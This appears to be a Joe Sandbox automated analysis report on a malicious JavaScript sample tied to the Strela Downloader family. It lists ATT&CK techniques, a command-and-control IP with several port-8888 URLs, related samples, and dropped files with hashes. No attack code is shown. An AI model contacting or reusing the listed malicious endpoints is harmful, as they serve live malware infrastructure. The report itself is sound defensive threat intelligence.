Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
18607323151113325657.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/2c	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/e	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/t	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.35	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/2c	net.exe, 00000007.00000002.2109819618.0000026619A6C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3338080655.000001FF68E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2110965787.000001FF69000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/t	net.exe, 00000007.00000002.2109819618.0000026619A38000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/e	net.exe, 00000007.00000002.2109819618.0000026619A6C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2109819618.0000026619A6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109819618.0000026619A38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109819618.0000026619A8A000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587545
Start date and time:	2025-01-10 14:41:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	18607323151113325657.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 162.159.61.3, 172.64.41.3, 23.209.209.135, 2.23.242.162, 217.20.57.35, 2.16.168.105, 2.16.168.107, 2.22.242.11, 2.22.242.123, 50.16.47.176, 20.109.210.53, 13.107.246.45, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:42:02	API Interceptor	22x Sleep call for process: powershell.exe modified
08:42:06	API Interceptor	1x Sleep call for process: net.exe modified
08:42:06	API Interceptor	2x Sleep call for process: svchost.exe modified
08:42:13	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	OTTIMAX RFQ BID1122263.xlsx	Get hash	malicious	Unknown	Browse	84.201.210.39
	gem2.exe	Get hash	malicious	Xmrig	Browse	217.20.57.35
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	217.20.57.25
	82eqjqLrzE.exe	Get hash	malicious	AsyncRAT	Browse	217.20.57.23
	Solara.exe	Get hash	malicious	Unknown	Browse	217.20.57.35
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	file_83f986ef2d0592ef993924a8cc5b8d6a_2025-01-07_10_04_01_718000.zip	Get hash	malicious	Unknown	Browse	217.20.57.36

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307219623976488
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugI:gJjJGtpTq2yv1AuNZRY3diu8iBVqF+
MD5:	EF02DF70A1DFC17E1D18B15D049CB9FE
SHA1:	7CBABD78A434697949BF6CDFF32F184AA98E7D95
SHA-256:	83148DB9A4F12BB845328077EE5C267DB2D1CFDAD5378EE447651332C7385AD9
SHA-512:	BC73C7FD1F9552E598BC03ADCF3460B4ACEBFE02CAB3A131A0BA5A319F258F5571A9CAAC0AFD6D05AE8804E07AB6A9D9B4F58F59073D310C1069EACA0DE81A1D
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x02514573, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585491846261997
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2FCEC4FEDBD415435FECE8536E5D84A2
SHA1:	BE0AF73A60F267C711617A178CDFE8396B0806FC
SHA-256:	5838202B36F5017AC093B14B94BF4E469353F6837E34948C98B4AEFEBA85541C
SHA-512:	610E963C29F9DEC176D7466CA6D13E4A62FAE3C65D4F78C866F06946D069FF5E281224FADC280ED7AC785A375A799845A29CEF0201235D905DC6D9F41A933E3F
Malicious:	false
Preview:	.QEs... ...............X\...;...{......................0.z..........{......}1.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................E......}..................`JI.*...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08048573136964107
Encrypted:	false
SSDEEP:	3:e/KYeV61GGuAJkhvekl1UDPYu1ollrekGltll/SPj:e/KzV6crxlmeJe3l
MD5:	AA8CE7306B4919898AA5874751D5EC04
SHA1:	5880502966A75DA3B0E6E6FDC7E2A28B57E18DEC
SHA-256:	8D9D787A0B4565BE034E07C7295F9C64DA5D7CD4151B5020F95474FC3835FB8B
SHA-512:	7B9DF9F3E14F65D89C15F96F46137F00595CE089C0A7559D8A23572A32DC7B5041B8FBB3A2A50E8258E4DD88B74FEC2BC599A1B81F3984CA43BFBBBD3657B886
Malicious:	false
Preview:	h.`......................................;...{......}.......{...............{.......{...XL......{...................`JI....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1888142256304235
Encrypted:	false
SSDEEP:	6:iO4odJEXtPQL+q2P92nKuAl9OmbnIFUtSodJEQF8G1ZmwsodJE4QLVkwO92nKuAR:7vgXtPQ+v4HAahFUtRgQGG1/7g4QV5LC
MD5:	322B4ACC37A40FC9E18AAAB52756BCAE
SHA1:	CA17269B97A85F6CFED3E2F013D83310FD95D03F
SHA-256:	D348603D92D2CB5446AAA94DDCA838CB100487995F46D5D2728D0FDD9063AC84
SHA-512:	F0177C36D74B352555910F1358602460786F0938B9FF278249FABC259D44381BABA6013E19219148B671B6ACFD2C860D12702640EB0D3CC2899CE7FF7066A3EF
Malicious:	false
Preview:	2025/01/10-08:42:06.329 119c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:42:06.332 119c Recovering log #3.2025/01/10-08:42:06.333 119c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1888142256304235
Encrypted:	false
SSDEEP:	6:iO4odJEXtPQL+q2P92nKuAl9OmbnIFUtSodJEQF8G1ZmwsodJE4QLVkwO92nKuAR:7vgXtPQ+v4HAahFUtRgQGG1/7g4QV5LC
MD5:	322B4ACC37A40FC9E18AAAB52756BCAE
SHA1:	CA17269B97A85F6CFED3E2F013D83310FD95D03F
SHA-256:	D348603D92D2CB5446AAA94DDCA838CB100487995F46D5D2728D0FDD9063AC84
SHA-512:	F0177C36D74B352555910F1358602460786F0938B9FF278249FABC259D44381BABA6013E19219148B671B6ACFD2C860D12702640EB0D3CC2899CE7FF7066A3EF
Malicious:	false
Preview:	2025/01/10-08:42:06.329 119c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:42:06.332 119c Recovering log #3.2025/01/10-08:42:06.333 119c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.176287524597944
Encrypted:	false
SSDEEP:	6:iO4odJEdHq2P92nKuAl9Ombzo2jMGIFUtSodJEdZXZmwsodJEdtHzkwO92nKuAlx:7vgJv4HAa8uFUtRgXX/7gfz5LHAa8RJ
MD5:	C5CE73B4C6970952DE34EB166D5ED436
SHA1:	3835AA0F7F3F93AD6BC442B24BEE235CADF8A89D
SHA-256:	C785B4184E5FB08D2A1F4FAE9BF9D03A853D6FBBECFF793AB53502C8AD046C50
SHA-512:	53EA5E9AEBBD10E8CB81901D2FA06BABD94DC8872E60FA51329374649189B78C3A435FDA19FC2539733A8C741F1A349B8ECE1FBE505EA21E8680BF20A93516DE
Malicious:	false
Preview:	2025/01/10-08:42:06.382 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:42:06.387 1ca4 Recovering log #3.2025/01/10-08:42:06.389 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.176287524597944
Encrypted:	false
SSDEEP:	6:iO4odJEdHq2P92nKuAl9Ombzo2jMGIFUtSodJEdZXZmwsodJEdtHzkwO92nKuAlx:7vgJv4HAa8uFUtRgXX/7gfz5LHAa8RJ
MD5:	C5CE73B4C6970952DE34EB166D5ED436
SHA1:	3835AA0F7F3F93AD6BC442B24BEE235CADF8A89D
SHA-256:	C785B4184E5FB08D2A1F4FAE9BF9D03A853D6FBBECFF793AB53502C8AD046C50
SHA-512:	53EA5E9AEBBD10E8CB81901D2FA06BABD94DC8872E60FA51329374649189B78C3A435FDA19FC2539733A8C741F1A349B8ECE1FBE505EA21E8680BF20A93516DE
Malicious:	false
Preview:	2025/01/10-08:42:06.382 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:42:06.387 1ca4 Recovering log #3.2025/01/10-08:42:06.389 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6121a24e-6e9a-4d1c-8c3e-98108ba21227.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.057862437013481
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqisBdOg2HlZcaq3QYiubxnP7E4T3OF+:Y2sRdsOdMHK3QYhbxP7nbI+
MD5:	3DBDF78DEF381A9D69E08DA7F386FA03
SHA1:	96A4AED07BB2B18F99E58FD6E97C3E9E39BE5041
SHA-256:	D6E7FAE18D41B54E8D2BA4046EE166F68DDDB38BC04123D0F0DC9CA3A788B663
SHA-512:	BC0733B60C4F847AD21AF4FB924D8B4E0FE89C5C8D8EDCCC286FE866947E18A85645BADE4B0F0B7904E136102A8DE6F972D2A2D9000CB42C7A245ACCC5BEADD7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076538137389","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129597},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.057862437013481
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqisBdOg2HlZcaq3QYiubxnP7E4T3OF+:Y2sRdsOdMHK3QYhbxP7nbI+
MD5:	3DBDF78DEF381A9D69E08DA7F386FA03
SHA1:	96A4AED07BB2B18F99E58FD6E97C3E9E39BE5041
SHA-256:	D6E7FAE18D41B54E8D2BA4046EE166F68DDDB38BC04123D0F0DC9CA3A788B663
SHA-512:	BC0733B60C4F847AD21AF4FB924D8B4E0FE89C5C8D8EDCCC286FE866947E18A85645BADE4B0F0B7904E136102A8DE6F972D2A2D9000CB42C7A245ACCC5BEADD7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076538137389","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":129597},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233808957852539
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUAxegM:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLS
MD5:	87032BF21811CC52697AFF1832602908
SHA1:	3DFA3049E120D1E49D79B44B913E592AD5E443ED
SHA-256:	99FFF1E8A3EECB26A45D101F14FC661C8218F974A80126974C308F28E52656F5
SHA-512:	FA92B3EC7A4C56C38AF7E30A99A0E1ADA090A395C9C1FFAEE5A6D2245E949E5E9F83342011248191F6F8A2A71BEA159B9E50658FE6FF93838CA362F07E3141AE
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.16373308205731
Encrypted:	false
SSDEEP:	6:iO4odJGXq2P92nKuAl9OmbzNMxIFUtSodJCZmwsodJGudFkwO92nKuAl9OmbzNMT:7vEv4HAa8jFUtR+/75F5LHAa84J
MD5:	E7F0A561D682518A694F6F6F25F865A8
SHA1:	B143341B59CDADCBD348F9000A3C3D04EEFD4F77
SHA-256:	70CDA0542D5BF40C8AD19A6226E543AA2079FC7A200C2F23B0A156BC182B98A8
SHA-512:	394F3418AA7F2D18235E69E24B595DFBCDB03D996928AA9584D0C8F385AF6B3F6D14DA9CBC001359DECF667DB755457D82C520A5E978AC77648BD6D0886337C7
Malicious:	false
Preview:	2025/01/10-08:42:06.625 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:42:06.660 1ca4 Recovering log #3.2025/01/10-08:42:06.687 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.16373308205731
Encrypted:	false
SSDEEP:	6:iO4odJGXq2P92nKuAl9OmbzNMxIFUtSodJCZmwsodJGudFkwO92nKuAl9OmbzNMT:7vEv4HAa8jFUtR+/75F5LHAa84J
MD5:	E7F0A561D682518A694F6F6F25F865A8
SHA1:	B143341B59CDADCBD348F9000A3C3D04EEFD4F77
SHA-256:	70CDA0542D5BF40C8AD19A6226E543AA2079FC7A200C2F23B0A156BC182B98A8
SHA-512:	394F3418AA7F2D18235E69E24B595DFBCDB03D996928AA9584D0C8F385AF6B3F6D14DA9CBC001359DECF667DB755457D82C520A5E978AC77648BD6D0886337C7
Malicious:	false
Preview:	2025/01/10-08:42:06.625 1ca4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:42:06.660 1ca4 Recovering log #3.2025/01/10-08:42:06.687 1ca4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
